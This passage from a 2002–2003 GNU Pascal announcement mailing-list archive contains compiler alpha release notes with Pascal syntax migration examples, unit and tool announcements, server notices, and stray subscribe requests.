`Trap' (trapping runtime errors), `Intl' (internationalization), `Pipe' (inter-process communication), `MD5' (message digests) and many more. GPC includes a number of demo programs to show the usage of these units and of many compiler features. Further units, Pascal programs and other 3rd party contributions can be found at http://www.gnu-pascal.de/contrib/ Have fun, The GNU Pascal development team From gpc-announce-owner@gnu.de Mon Jul 29 13:52:42 2002 Received: from mond.dida.physik.uni-essen.de ([::ffff:132.252.78.233]) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 17Z8x2-0005Yw-00 for ; Mon, 29 Jul 2002 13:44:36 +0200 Received: (from lange@localhost) by mond.dida.physik.uni-essen.de (8.11.6/8.11.6/SuSE Linux 0.5) id g6TBfVF02204 for gpc-announce@gnu.de; Mon, 29 Jul 2002 13:41:31 +0200 Date: Mon, 29 Jul 2002 13:41:31 +0200 From: Eike Lange To: gpc-announce@gnu.de Subject: ANN: XLib-Unit Message-ID: <20020729134131.F1124@mond.dida.physik.uni-essen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22.1i X-Eike-Conspiracy: There is no conspiracy X-Archive-Number: 200207/1 X-Sequence-Number: 14 Hi! Welcome to the wonderful world of XLib Unit. This unit interfaces Xlib.h and X.h. Xlib is a very basic library you may need for creating graphical user interfaces (GUI). If you need some documentation about XLib-Programming, please visit the following sites: (I am not responsible for the contents of these sites) * http://www.tronche.com/gui/x/xlib/introduction/ * http://www.rahul.net/kenton/xsites.framed.html It would be wonderful, if someone could review this unit. Download from: http://gnu-pascal.de/contrib/eike/ Eike From gpc-announce-owner@gnu.de Mon Nov 4 02:30:37 2002 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 186JjG-0002au-00 for ; Tue, 29 Oct 2002 00:55:30 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id AAA29096 for ; Tue, 29 Oct 2002 00:50:16 +0100 Date: Tue, 29 Oct 2002 00:50:16 +0100 Message-Id: <200210282350.AAA29096@goedel.fjf.gnu.de> Subject: mail tools released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20021028 X-Archive-Number: 200211/1 X-Sequence-Number: 15 This is the announcement of the first public release of the mail tools. The mail tools are a set of programs to do various things with email, mostly in batch mode. The most important ones are `Semail' to send mails and `prmail' to process received mails (both written in GNU Pascal). The package also contains some generally useful units for GNU Pascal for sending and processing email, together with some demo programs, and some generally useful scripts related to mail handling. The mail tools are free software (GPL, LGPL). The current version of the mail tools can be found at . Nicola Girardi Frank Heckenbach -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Tue Jan 14 09:44:55 2003 Received: from mx1.lgt.com ([::ffff:195.65.11.107]) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 18YMZz-0006UR-00 for ; Tue, 14 Jan 2003 09:37:52 +0100 Received: from lgt.com by mx1.lgt.com (8.12.6/8.12.6) with ESMTP id h0E8aOPS023820 for ; Tue, 14 Jan 2003 09:36:25 +0100 (MET) Received: from SWLIBEMSWP20.group.lgt.com (swlibemswp20 [10.1.20.210]) by mx1.lgt.com (8.12.6/8.12.6) with ESMTP id h0E8aOPS023820 for ; Tue, 14 Jan 2003 09:36:25 +0100 (MET) Received: from vdzexc01s.lgt.com (unverified) by SWLIBEMSWP20.group.lgt.com (Content Technologies SMTPRS 4.3.1) with ESMTP id for ; Tue, 14 Jan 2003 09:36:22 +0100 Received: by vdzexc01s.bilvdz.bil.com with Internet Mail Service (5.5.2653.19) id ; Tue, 14 Jan 2003 09:36:23 +0100 Message-ID: <232E9F2A24F2E9499532DDFC3EDBBDE916F33B@swbexcp10.group.lgt.com> From: Rick Roland To: "'gpc-announce@gnu.de'" Subject: subscribe gpc-announce roland.rick@lgt.com Date: Tue, 14 Jan 2003 09:36:19 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2BBA8.029FD114" X-Archive-Number: 200301/1 X-Sequence-Number: 16 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2BBA8.029FD114 Content-Type: text/plain subscribe gpc-announce roland.rick@lgt.com LGT Financial Services Limited Herrengasse 12, P.O. Box 85, FL-9490 VADUZ Principality of Liechtenstein Tel. +423 235 24 44, Fax +423 235 24 40 Mail: lgt.fs@lgt.com Web: http://www.lgt.com ---------------------------------------------------------------------- Privileged/Confidential Information may be contained in this message. If you are not the addressee indicated in this message (or responsible for delivery of the message to such person), you may not copy or deliver this message to anyone. In such case, you should destroy this message and kindly notify the sender by reply email. Please advise immediately if you or your employer does not consent to Internet email for messages of this kind. Opinions, conclusions and other information in this message that do not relate to the official business of my firm shall be understood as neither given nor endorsed by it. ----------------------------------------------------------------------- ------_=_NextPart_001_01C2BBA8.029FD114 Content-Type: text/html subscribe gpc-announce roland.rick@lgt.com

subscribe gpc-announce roland.rick@lgt.com



LGT Financial Services Limited
Herrengasse 12, P.O. Box 85, FL-9490 VADUZ
Principality of Liechtenstein
Tel. +423 235 24 44, Fax +423 235 24 40
Mail: lgt.fs@lgt.com
Web: http://www.lgt.com
----------------------------------------------------------------------
Privileged/Confidential Information may be contained in this message.
If you are not the addressee indicated in this message (or responsible
for delivery of the message to such person), you may not copy or
deliver this message to anyone. In such case, you should destroy this
message and kindly notify the sender by reply email. Please advise
immediately if you or your employer does not consent to Internet email
for messages of this kind. Opinions, conclusions and other information
in this message that do not relate to the official business of my firm
shall be understood as neither given nor endorsed by it.
-----------------------------------------------------------------------
------_=_NextPart_001_01C2BBA8.029FD114-- From gpc-announce-owner@gnu.de Mon Feb 10 00:03:42 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 18i0Ro-0001B8-00; Mon, 10 Feb 2003 00:01:16 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id AAA12046; Mon, 10 Feb 2003 00:00:11 +0100 Date: Mon, 10 Feb 2003 00:00:11 +0100 Message-Id: <200302092300.AAA12046@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: gpc-20030209 To: gpc@gnu.de, gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030101 X-Archive-Number: 200302/1 X-Sequence-Number: 17 I've uploaded a new alpha version. Besides many internal cleanups (again) and bugfixes (thanks especially to Artur Zaroda for many reports), one new feature is to preserve the case of identifiers in error messages etc. and an optional warning for varying cases. GPC now installs the two utilites `binobj' and `gpidump' (with man pages if the program `help2man' is available at build time). However, since `binobj' is a BP compatiblity utility, and `gpidump' is mostly useful for debugging and understanding GPC internals, these programs might not be too useful to most GPC users. Those who build GPC packages of some kind, please note the new files. The structure of the homepage has changed. (It is now generated using `makeinfo --html' instead of `texi2html'.) Since many file names are different now, your links and bookmarks might break, but if you start from the home page, you should be able to find anything again. (Except for the info and texi versions of the to-do list which have been dropped from the home page. They're still contained in GPC source (info and texi) and binary (only info) distributions, and the HTML version is on the home page.) Furthermore, each page now contains an input form at the bottom where everyone can enter their additions. This was inspired by a discussion on gpc-doc. We hope this will encourage more contributions to the documentation. BTW, the source code of the CGI program that handles this input form can be found in my `cgiprogs' package in contrib/frank. There are some slightly incompatible changes. I hope they won't be a big problem to anyone: - dropped `--[no-]borland-char-constants' (now simply coupled to dialect options) - `=' and `<>' comparisons of structures (arrays, records, ...) except strings and sets are forbidden now - irrelevant operands and arguments (e.g. `foo in []'; `bar * []'; `Im (baz)' if `baz' is of real type) are not necessarily evaluated anymore (which is allowed by the standard); instead, a warning is given if they have side-effects - only one program, unit, module interface or implementation or a module interface and the implementation of the same module are accepted in one source file; new options `--[no-]ignore-garbage-after-dot' (fjf735*.pas) - dropped the usage of `GetMem' as a function with one parameter (only the BP compatible usage as a procedure with two parameters remains). (Both are semantically equivalent, so if you used the function syntax, you'll only have to make a minor change in your code, possibly using a new variable.) - accessing the variable `FileMode' now requires using the `GPC' (or, for BP compatibility, the `System') unit - routines declared in a program or module/unit implementation, with an `asmname' or `attribute' specification must now be marked `forward' explicitly (not so in an interface since those declarations are always forward if not external). E.g., previously: procedure Foo; asmname 'Bar'; procedure Foo; begin end; Now (note, this way also works with previous GPC versions): procedure Foo; asmname 'Bar'; forward; procedure Foo; begin end; The `asmname' etc. stuff is still quite confusing and unlogical (otherwise, you shouldn't need the two declarations at all), but at least now `forward' should work regularly. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Fri Feb 14 17:10:40 2003 Received: from mx1.lgt.com ([195.65.11.107]) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 18jiK6-0007oI-00 for ; Fri, 14 Feb 2003 17:04:22 +0100 Received: from lgt.com by mx1.lgt.com (8.12.6/8.12.6) with ESMTP id h1EG3kb1024716 for ; Fri, 14 Feb 2003 17:03:46 +0100 (MET) Received: from SWLIBEMSWP20.group.lgt.com (swlibemswp20 [10.1.20.210]) by mx1.lgt.com (8.12.6/8.12.6) with ESMTP id h1EG3kb1024716 for ; Fri, 14 Feb 2003 17:03:46 +0100 (MET) Received: from vdzexc01s.lgt.com (unverified) by SWLIBEMSWP20.group.lgt.com (Content Technologies SMTPRS 4.3.1) with ESMTP id for ; Fri, 14 Feb 2003 17:03:44 +0100 Received: by vdzexc01s.bilvdz.bil.com with Internet Mail Service (5.5.2653.19) id <1T4PX08J>; Fri, 14 Feb 2003 17:03:44 +0100 Message-ID: <232E9F2A24F2E9499532DDFC3EDBBDE930D58B@swbexcp10.group.lgt.com> From: Rick Roland To: "'gpc-announce@gnu.de'" Subject: unsubscribe gpc-announce roland.rick@lgt.com Date: Fri, 14 Feb 2003 17:03:42 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Archive-Number: 200302/3 X-Sequence-Number: 19 unsubscribe gpc-announce roland.rick@lgt.com LGT Financial Services Limited Herrengasse 12, P.O. Box 85, FL-9490 VADUZ Principality of Liechtenstein Tel. +423 235 24 44, Fax +423 235 24 40 Mail: lgt.fs@lgt.com Web: http://www.lgt.com ---------------------------------------------------------------------- Privileged/Confidential Information may be contained in this message. If you are not the addressee indicated in this message (or responsible for delivery of the message to such person), you may not copy or deliver this message to anyone. In such case, you should destroy this message and kindly notify the sender by reply email. Please advise immediately if you or your employer does not consent to Internet email for messages of this kind. Opinions, conclusions and other information in this message that do not relate to the official business of my firm shall be understood as neither given nor endorsed by it. ----------------------------------------------------------------------- From gpc-announce-owner@gnu.de Fri Feb 14 17:10:59 2003 Received: from mx1.lgt.com ([195.65.11.107]) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 18jiJX-0007nu-00 for ; Fri, 14 Feb 2003 17:03:47 +0100 Received: from lgt.com by mx1.lgt.com (8.12.6/8.12.6) with ESMTP id h1EG3Bb1024643 for ; Fri, 14 Feb 2003 17:03:11 +0100 (MET) Received: from SWLIBEMSWP20.group.lgt.com (swlibemswp20 [10.1.20.210]) by mx1.lgt.com (8.12.6/8.12.6) with ESMTP id h1EG3Bb1024643 for ; Fri, 14 Feb 2003 17:03:11 +0100 (MET) Received: from vdzexc01s.lgt.com (unverified) by SWLIBEMSWP20.group.lgt.com (Content Technologies SMTPRS 4.3.1) with ESMTP id for ; Fri, 14 Feb 2003 17:03:09 +0100 Received: by vdzexc01s.bilvdz.bil.com with Internet Mail Service (5.5.2653.19) id <1T4PX08G>; Fri, 14 Feb 2003 17:03:09 +0100 Message-ID: <232E9F2A24F2E9499532DDFC3EDBBDE930D589@swbexcp10.group.lgt.com> From: Rick Roland To: "'gpc-announce@gnu.de'" Subject: unsubscribe gpc-announce roland.rick@lgt.com Date: Fri, 14 Feb 2003 17:03:04 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Archive-Number: 200302/4 X-Sequence-Number: 20 subscribe gpc-announce roland.rick@lgt.com LGT Financial Services Limited Herrengasse 12, P.O. Box 85, FL-9490 VADUZ Principality of Liechtenstein Tel. +423 235 24 44, Fax +423 235 24 40 Mail: lgt.fs@lgt.com Web: http://www.lgt.com ---------------------------------------------------------------------- Privileged/Confidential Information may be contained in this message. If you are not the addressee indicated in this message (or responsible for delivery of the message to such person), you may not copy or deliver this message to anyone. In such case, you should destroy this message and kindly notify the sender by reply email. Please advise immediately if you or your employer does not consent to Internet email for messages of this kind. Opinions, conclusions and other information in this message that do not relate to the official business of my firm shall be understood as neither given nor endorsed by it. ----------------------------------------------------------------------- From gpc-announce-owner@gnu.de Fri Feb 21 17:24:29 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 18mFwt-0003Rj-00 for ; Fri, 21 Feb 2003 17:22:55 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id RAA04464 for ; Fri, 21 Feb 2003 17:14:48 +0100 Date: Fri, 21 Feb 2003 17:14:48 +0100 Message-Id: <200302211614.RAA04464@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Web server moving To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030101 X-Archive-Number: 200302/5 X-Sequence-Number: 21 Hi, the GPC pages are moving to a new web server. If everything goes well, you won't notice any difference, but if you encounter any problems, please drop me a note. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Mar 16 20:51:54 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 18ue79-0002G4-00 for ; Sun, 16 Mar 2003 20:48:11 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id UAA24597 for ; Sun, 16 Mar 2003 20:46:04 +0100 Date: Sun, 16 Mar 2003 20:46:04 +0100 Message-Id: <200303161946.UAA24597@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Download links were temporarily broken To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200303/1 X-Sequence-Number: 22 The download links on the GPC web page were broken for some hours, due to a mistake. Everything should be working normal again now. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Mar 23 21:01:11 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 18xBba-00023Q-00 for ; Sun, 23 Mar 2003 20:58:06 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id UAA07046 for ; Sun, 23 Mar 2003 20:54:28 +0100 Date: Sun, 23 Mar 2003 20:54:28 +0100 Message-Id: <200303231954.UAA07046@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: gpc-20030323 released (IMPORTANT NOTES ABOUT BACKWARD-INCOMPATIBILITY) To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200303/2 X-Sequence-Number: 23 I've uploaded a new alpha to http://www.gnu-pascal.de/alpha/ You will hate this release ... at least if you make heavy use of external declarations or other directives. We all knew that some backward-incompatible changes in this area would have to be made, now that's happened. PLEASE READ THE NOTES BELOW FOR DETAILS. Changes that affect building GPC: ================================= - Dwarf2 debug info (the default under Linux and many other systems with gcc-3) finally works. This means you can now build GPC with gcc-3 without `-g0' or `-gstabs'. - Building GPC no more requires gperf (those who maintain build dependencies please note this). - Besides the source distributions as before, there is now also a "minimal" distribution. This is compressed with bzip2 instead of gzip and does not contain any generated files. These files will be generated automatically when building GPC, but you need some additional tools installed: bzip2, bash, *GNU* sed, GNU awk, GNU m4, bison, flex, autoconf, help2man, makeinfo (at least version 4.1). Other changes: ============== - Forward referencing pointers generate proper debug info now. - Discriminant identifiers are allowed as variant record selectors. - `export Foo = all (...)' (fjf811*.pas) - Delphi-compatible `initialization', `finalization' (chief43*.pas) - Type-casts are BP compatible now, in particular, value type-casts between ordinal and real or complex types don't work anymore. - All non-ISO-7185 keywords can be used as identifiers (with two small exceptions). (fjf440.pas) - `pack-struct' does not imply bit-level packing anymore (only explicit `packed' records and arrays do). - New options `--[no-]ignore-packed' (`--ignore-packed' is the default in BP mode). (fjf796*.pas) - New option `--maximum-field-alignment=N' - `{$[no-]pack-struct}' as a compiler directive - New options `-W[no-]local-external' (implied by `-Wall') - New options `--vax-pascal', `--mac-pascal' - Mac Pascal directives `definec', `macro', `undefc', `ifc', `ifoptc', `elsec', `elifc', `endc', `errorc' - Units without `implementation' part - When passing a schema variable as an untyped argument, the whole schema, including the discriminants is passed. (fjf798.pas) - `TimeZone' in `TimeStamp' counts seconds *east* of UTC now (not west, as before). (datetimedemo.pas) - Some bug fixes related to operator overloading. - Variables declared in interfaces of modules are now initialized (capacity of strings etc.). (daj3.pas, sven14c.pas, nick1.pas) - Various other bug fixes. Directives and attributes: ========================== - `external name' works (BP compatible). So procedure Foo; external; asmname 'bar'; or (equivalent previously) procedure Foo; asmname 'bar'; can be changed to procedure Foo; external name 'bar'; GPC also accepts procedure Foo; external 'libname' name 'bar'; but ignores 'libname'. It could be supported via automake, but since automake is to be replaced by gp, anyway, it seems pointless to do it now. - `name' works as an attribute. - `attribute's with single parameters can be written with `=', so attribute (name ('foo')) and attribute (name = 'foo') are equivalent. - Linker names (whether by `external name' or as an `attribute') can be string constant expressions now (e.g., involving declared string constants and `+'). The same applies to module/unit file names specified with `in'. - `asmname' is deprecated (and will be dropped in a future version). * External `asmname' constructions can be changed as shown above. * In a unit interface, change procedure Foo; asmname 'bar'; to procedure Foo; external name 'bar'; *if* the routine is really external (e.g. implemented in a C file or library); otherwise to procedure Foo; attribute (name = 'bar'); (previously, GPC didn't care, but now you have to distinguish these cases). - `external' without an asmname (whether by `external name' or as an `attribute') defaults to all-lowercase linker names now. GPC will give a warning now (because of the change). This warning will disappear in the future (but the change will remain in effect, of course). Routines without `external' or asmname still use first-uppercase linker names, for those who care. But it's not recommended to rely on this. So change procedure Foo; external; to procedure Foo; external name 'Foo'; (or change the corresponding C code to `foo' if that's under your control). - All of the above applies to variables as well. - `c', `c_language' are also deprecated. Instead of procedure Foo; c; or procedure Foo; c_language; write procedure Foo; external; (if you don't mind the warning for now), or procedure Foo; external name 'foo'; (if you prefer to make the linker name more explicit). - `static', `volatile' and `register' for variables are no prefix directives anymore, but attributes. E.g. var Foo: static Integer; becomes var Foo: Integer; attribute (static); - Same for `inline' with routines. inline procedure Foo; becomes procedure Foo; attribute (inline); - A new attribute `const' for variables (really read-only -- unlike BP's "typed constants", and also applicable to external variables). - `attribute' for routines doesn't imply `forward' anymore, so you don't have to declare routines twice in a program or implementation part when setting the linker name or some other attribute. E.g. procedure Foo; attribute (noreturn); { forward; -- ignored here before } procedure Foo; begin Halt end; becomes: procedure Foo; attribute (noreturn); begin Halt end; A final example: procedure Foo; asmname 'bar'; attribute (noreturn); procedure Foo; begin Halt end; becomes: procedure Foo; attribute (noreturn, name = 'bar'); begin Halt end; Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Mon Apr 28 10:36:46 2003 Received: from mail.just.edu.jo ([193.188.67.66] helo=just.edu.jo) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 199i5c-00036w-00 for ; Sun, 27 Apr 2003 11:05:19 +0200 Received: (from akim@localhost) by just.edu.jo (8.9.1/8.9.1) id MAA02941 for gpc-announce@gnu.de; Sun, 27 Apr 2003 12:02:21 +0200 (GMT) Date: Sun, 27 Apr 2003 12:02:21 +0200 (GMT) From: Abduttawwaab Kim Message-Id: <200304271002.MAA02941@just.edu.jo> To: gpc-announce@gnu.de X-Archive-Number: 200304/1 X-Sequence-Number: 24 subscribe gpc-announce akim@just.edu.jo From gpc-announce-owner@gnu.de Wed May 7 20:33:10 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 19DTbI-0000HE-00 for ; Wed, 07 May 2003 20:25:08 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id UAA25799 for ; Wed, 7 May 2003 20:22:58 +0200 Date: Wed, 7 May 2003 20:22:58 +0200 Message-Id: <200305071822.UAA25799@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: gpc-20030507 released To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200305/1 X-Sequence-Number: 25 I've uploaded a new alpha to http://www.gnu-pascal.de/alpha/ The major incompatibility, compared to the previous release is that types liks `Integer (16)' have to be changed to `Integer attribute (Size = 16)' (as discussed recently). New features: * `Integer (16)' etc. changed to `Integer attribute (Size = 16)' (works for integer and Boolean types) (fjf861.pas) (@) * types can have attributes (note: no preceding `;') (fjf860*.pas) * object methods can have attributes (fjf826*.pas) * new attributes `iocritical' (fjf824*.pas), `ignorable' (fjf839*.pas) for routines * field names and array indices in initalizers are recognized (waldek5*.pas) (options `-W[no-]field-name-problem' removed, @) * object directives `published', `public' (both equivalent), `protected' (scope limited to object type and derived object types), `private' (scope limited to current unit/module) (fjf864*.pas) (options `-W[no-]object-directives' removed, @) * new options `-W[no-]parentheses' (fjf848*.pas) * new type `AnyFile' for parameters and pointer targets (fjf821*.pas) * Mac Pascal specific features are supported according to the dialect options (M) * GPC doesn't use `gpm' files anymore (instead, each module has an implicit `MODULENAME-all.gpi' interface which is a regular `gpi' file) * trimming string relations as functions (`EQPad' etc.) (fjf873.pas) * new options `-W[no-]interface-file-name' * `SeekEOF' and `SeekEOLn' use `Input' implicitly when no file is given (fjf871.pas) (B) * tagging for `with' statements (Sun Pascal) (tom6.pas) * new option `--sun-pascal' * the operator precedence and associativity of `+' and `-' is now as defined in EP by default (and as in BP with `--borland-pascal') (fjf863*.pas) (@) * dynamic object methods (fjf859.pas) (B) * in `--borland-pascal' mode, `Assign' unconditionally (re-)initializes its file parameter (fjf858.pas) * make the program/module/unit finalizers non-public (`static' in C sense), omit them if easily possible * non-`interface' modules with empty implementation part (pmod1.pas, fjf843.pas) * `maximum-field-alignment' and `[no-]field-widths' work as local compiler directives now (fjf842.pas) * dropped `{$debug-statement}' (should not be necessary anymore, now that debug info mostly works) * new options `--[no-]longjmp-all-nonlocal-labels' * dropped computed `goto' (never worked for nonlocal `goto' into the main program, implementing it would be quite difficult, probably not worth it) (@) * `TimeStamp' is now a packed record (E) * `--interface-only' does not require `-S' or `-c' anymore (and does not create an object file) Fixed bugs: * some functions in boolean shortcuts are always called (fjf226*.pas) * possible stack overflow when using string concatenation in a loop (fjf419*.pas, fjf345e.pas, fjf460b.pas) - breaks berend3.pas (less important because strange test case, and just another instance of existing contourbug.pas) * declarations of a module interface are not visible in the implementation (kevin13.pas, mod12.pas) * check parameter and result variable names in repeated forward etc. declarations <20010321204051.A611@plato> (fjf284.pas, markus8.pas, fjf850*.pas) * initialized object variables don't work (fjf445*.pas) * the parser does not always recover well after a parse error <199911040915.KAA11168@humulus.daimi.au.dk> (fixed the case given in this report; if there are other cases, please report) * packed array/record fields don't work in `Read' etc. (tom5.pas) * file parameters must not automatically be bindable in `--extended-pascal' (fjf193[c-e].pas) * give an error rather than a warning when casting between types of different size in `{$X-}' * simplify code generated to compute size of dynamical variables if no bitfields are involved (ok with gcc-3) * detect invalid array slice access with constant indices at compile-time (peter2*.pas) * automatically close dynamically allocated files on `Dispose' and files declared in a statement block at the end of the statement block <6r9ir5$7v5$1@nntpd.lkg.dec.com> (fjf219[a-d].pas, fjf502.pas) * initialize local static variables in the main constructor, not in each routine call (fjf458*.pas) * modifying `for'-loop counters within the loop or in a subroutine is not allowed <200005240807.EAA05355@mail.bcpl.net>, (az47.pas, fjf837*.pas) * label declarations must not be allowed in unit/module interfaces and module implementations (but in unit implementations, BP compatible, though we don't allow nonlocal `goto's into the constructor) (fjf835*.pas) Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Jun 15 05:02:27 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 19RNM9-0001u9-00 for ; Sun, 15 Jun 2003 04:34:57 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id EAA03452 for ; Sun, 15 Jun 2003 04:33:29 +0200 Date: Sun, 15 Jun 2003 04:33:29 +0200 Message-Id: <200306150233.EAA03452@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Web site search To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200306/1 X-Sequence-Number: 26 I'm installing a search function for the GPC web site (using ht://dig). Currently, you can try it at http://www.gnu-pascal.de/search.html (In the future the search form will be added to the regular pages.) Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Fri Jun 20 00:32:49 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 19T7w5-0003og-00 for ; Fri, 20 Jun 2003 00:31:17 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id AAA04164 for ; Fri, 20 Jun 2003 00:30:10 +0200 Date: Fri, 20 Jun 2003 00:30:10 +0200 Message-Id: <200306192230.AAA04164@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Server upgrade To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20030303 X-Archive-Number: 200306/2 X-Sequence-Number: 27 Due to a hardware upgrade, the GPC server will be out of service tomorrow (Friday) probably for an hour. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Fri Jun 20 19:11:22 2003 Received: from mond.dida.physik.uni-essen.de ([132.252.79.233]) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 19TPNc-0002Pc-00 for ; Fri, 20 Jun 2003 19:08:52 +0200 Received: (from lange@localhost) by mond.dida.physik.uni-essen.de (8.11.6/8.11.6/SuSE Linux 0.5) id h5KH6Bl02956 for gpc-announce@gnu.de; Fri, 20 Jun 2003 19:06:11 +0200 Date: Fri, 20 Jun 2003 19:06:11 +0200 From: Eike Lange To: gpc-announce@gnu.de Subject: Re: Server upgrade Message-ID: <20030620190611.D2143@mond.dida.physik.uni-essen.de> References: <200306192230.AAA04164@goedel.fjf.gnu.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200306192230.AAA04164@goedel.fjf.gnu.de> User-Agent: Mutt/1.3.22.1i X-Eike-Conspiracy: There is no conspiracy X-Archive-Number: 200306/3 X-Sequence-Number: 28 On Fre, Jun 20, 2003 at 12:30:10 +0200, Frank Heckenbach wrote: > Due to a hardware upgrade, the GPC server will be out of service > tomorrow (Friday) probably for an hour. I hope this works now again! -- "Freie Software braucht Freie Dokumentation." Das GNU-Pascal Buch: http://www.gnu-pascal.de/~eike/ From gpc-announce-owner@gnu.de Sun Jun 22 02:48:39 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 19Tt1V-00073T-00 for ; Sun, 22 Jun 2003 02:48:01 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by 